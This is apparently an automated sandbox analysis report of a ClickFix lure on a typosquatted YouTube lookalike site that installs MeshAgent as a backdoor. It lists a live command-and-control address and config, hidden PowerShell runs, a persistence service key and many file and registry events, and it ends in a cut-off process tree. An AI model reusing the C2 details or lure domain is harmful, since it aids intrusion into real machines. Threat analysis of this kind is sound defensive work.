meshagent | hxxps://www[.]youtude[.]net/watch?v=i50wel2lVsw

Analysis

max time kernel
73s
max time network
76s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
09/04/2025, 16:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://www.youtude.net/watch?v=i50wel2lVsw

Score

10^/10

meshagent clickfix backdoor discovery execution persistence rat trojan

Malware Config

Extracted

Family

meshagent

Version

Botnet

clickfix

http://aaso12.duckdns.org:443/agent.ashx

Attributes

mesh_id
0x950AE7E094D02F632FBC73D5C2419AAC81F9563B8A37915670D8453B94FB3DA11961008E153469470F365ACD78AB3512
server_id
22F126392DFCD804B6AF755F256A707D53ED8D200650E6BC853C95860F21B6B7049AF4EBEAB393E6EE1A9315B396BFC8
wss
wss://aaso12.duckdns.org:443/agent.ashx

Signatures

Detects MeshAgent payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000900000001e6a7-523.dat	family_meshagent
behavioral1/memory/5716-528-0x00007FF667180000-0x00007FF6674F5000-memory.dmp	family_meshagent

MeshAgent
MeshAgent is an open source remote access trojan written in C++.
rat trojan backdoor meshagent
Meshagent family
meshagent

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2112	PowerShell.exe
2840	powershell.exe
2044	powershell.exe
1440	powershell.exe
968	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" "	s.exe

Executes dropped EXE 1 IoCs

pid	Process
2300	MeshAgent.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\symbols\dll\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\ucrtbase.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\msvcp_win.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\dll\msvcp_win.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\dbgcore.pdb	s.exe
File opened for modification	C:\Windows\System32\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ntasn1.pdb	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\2151EBD11189D5A6DBCEA0B40205F1E7534714C1	MeshAgent.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	PowerShell.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\exe\MeshService64.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\dll\apphelp.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\imm32.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\dll\ntasn1.pdb	s.exe
File opened for modification	C:\Windows\System32\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\MeshService64.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\dll\crypt32.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\dll\Kernel.Appcore.pdb	s.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\dll\kernelbase.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\dll\crypt32.pdb	s.exe
File opened for modification	C:\Windows\System32\symbols\dll\apphelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\dll\ucrtbase.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\dll\gdi32.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\advapi32.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\DLL\bcrypt.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\Kernel.Appcore.pdb	s.exe
File opened for modification	C:\Windows\System32\dll\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\dll\ws2_32.pdb	s.exe
File opened for modification	C:\Windows\System32\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\AFD4E3CCC0AF847C8FF126FF5A8FCD800D03C37F	MeshAgent.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\dll\advapi32.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\DLL\iphlpapi.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\DLL\dbgcore.pdb	s.exe
File opened for modification	C:\Windows\System32\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\exe\MeshService64.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\dll\comctl32.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\dll\combase.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\DLL\iphlpapi.pdb	s.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\ntdll.pdb	s.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\symbols\dll\ucrtbase.pdb	s.exe
File opened for modification	C:\Windows\System32\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\apphelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\iphlpapi.pdb	s.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\sv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1986507082\protocols.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\eu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\cy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\dasherSettingSchema.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\fi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\kk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\ko\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\kn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\pa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\offscreendocument_main.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\ka\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\ms\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\ca\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\ar\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\fa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\128.png	msedge.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.msh	MeshAgent.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\bn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\km\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\da\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\fil\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\zu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\hy\messages.json	msedge.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db.tmp	MeshAgent.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\page_embed_script.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\am\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\hi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\es\messages.json	msedge.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1986507082\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\te\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\en_US\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\ne\messages.json	msedge.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.exe	s.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\service_worker_bin_prod.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\bg\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\cs\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\vi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\en_GB\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\offscreendocument.html	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\af\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\th\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\ro\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\lt\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\be\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\en_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\pl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\gl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\en\messages.json	msedge.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1986507082\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\ja\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\hr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\is\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\my\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\mn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\sk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\_locales\fr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping812_1375248970\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1062200478-553497403-3857448183-1000\{9CF65FEC-E766-400C-94F6-CD9A9D0E0479}	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2112	PowerShell.exe
2112	PowerShell.exe
2112	PowerShell.exe
2840	powershell.exe
2840	powershell.exe
2840	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
1440	powershell.exe
1440	powershell.exe
1440	powershell.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
812	msedge.exe
812	msedge.exe
812	msedge.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	PowerShell.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	968	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
812	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 812 wrote to memory of 6128	812	msedge.exe	86
PID 812 wrote to memory of 6128	812	msedge.exe	86
PID 812 wrote to memory of 2712	812	msedge.exe	88
PID 812 wrote to memory of 2712	812	msedge.exe	88
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 5896	812	msedge.exe	89
PID 812 wrote to memory of 3376	812	msedge.exe	90
PID 812 wrote to memory of 3376	812	msedge.exe	90
PID 812 wrote to memory of 3376	812	msedge.exe	90
PID 812 wrote to memory of 3376	812	msedge.exe	90
PID 812 wrote to memory of 3376	812	msedge.exe	90
PID 812 wrote to memory of 3376	812	msedge.exe	90
PID 812 wrote to memory of 3376	812	msedge.exe	90
PID 812 wrote to memory of 3376	812	msedge.exe	90
PID 812 wrote to memory of 3376	812	msedge.exe	90

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtude.net/watch?v=i50wel2lVsw
1⤵
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c8,0x2cc,0x2d0,0x2c4,0x2f0,0x7ff98992f208,0x7ff98992f214,0x7ff98992f220
  2⤵
  PID:6128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
